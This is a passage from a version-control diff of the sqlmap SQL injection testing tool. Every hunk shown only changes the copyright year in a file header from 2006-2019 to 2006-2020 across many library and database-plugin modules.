'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index a459e2cc92c..b338131f5f4 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 1ea8228c2aa..2f06fb047f9 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 28eb235111a..063ad733400 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 361a3b088f0..f1f5948ada7 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index bca5594b8e2..611ad75d5a8 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 783a2e952f2..f46fc54c118 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 30b58c94b3b..8e4d25c58e8 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index bdec4e797df..af05c946b44 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 468c09c03a4..649b9f60284 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index b1589dafe6a..ed2c2b6612c 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index f88e33bef67..574916eca8e 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 3df3e11e094..1b184f1d03b 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 84e099e5d8a..25b899f9b35 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index a065a9b0163..0dabb2b366a 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 32afff4e286..0779d6ca7d2 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index a0f96497679..dc8c503e7c3 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index da5fd993512..0e6ef93256d 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 27774ad3f1f..254621102f4 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index cc509c3dbfd..76ad2cf06b3 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index 72d99a555da..d722fc67c30 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index b8e7d148206..50a6d509394 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index 5ade9c0be17..8c239b7df31 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index a7af101b784..4a8d1d705e8 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index a08f1f2c3cb..27c7167054e 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 57eecb0e087..0e0ebeaa090 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index a8b3d69a159..6d51e12be02 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index f204b0a0961..28d260eec09 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 1bf363aa4a7..7dec85d6758 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 540aec0f54c..cc691205bbb 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 05b6a01e057..ddc220d9a88 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index c604a22b990..967d1d3e111 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index fb64ecc3a6c..21881cd15ac 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index a7e67b73a73..e134d0dab8e 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index e37cc391354..e6f0dfa58ba 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index ab162ff55f5..2120618ca6b 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 4f29cfb64d1..ab42b0a7ef2 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 76c3c44e7bb..e8c64249216 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 891510906f2..4bb198d0e87 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 669d5ca85ab..f9355c077cb 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index ca204b03495..432fa6f78e7 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 85b46a55ddc..121a2a414d7 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 10305f68ee5..edd0ae750b2 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 4281f8bb683..248f3dc120f 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 888da8433cc..41640ab1596 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 79ca5e35279..ab27b003e77 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index dc903b0f152..ace022dcc4f 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 2adb716b596..8dc3fc7298b 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index 334b53df6fd..6596455065e 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 630d4e2e6c6..9715ab48acf 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index fc35f28a6fe..0d26d2b7fe2 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 2bfb05ea08b..aa1a9951b0b 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 35cbbb688eb..56f89ce03f3 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index be1bb443d0c..fb6bbe94b1f 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 0751237232d..ea278117318 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 166c121da82..7d06406caca 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 2f8ae08aa02..5aa9b2d57ea 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 6c0fd662f58..e9aa4c40b11 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index a5dd2990c31..162c8e0a5a6 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index a14644b1b5e..6641acd2147 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index be1bb443d0c..fb6bbe94b1f 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 5c7d2199db4..9db7a6f669e 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 50e2adee427..d0177dd71e7 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 133dc21ba50..03bc7dc4725 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright 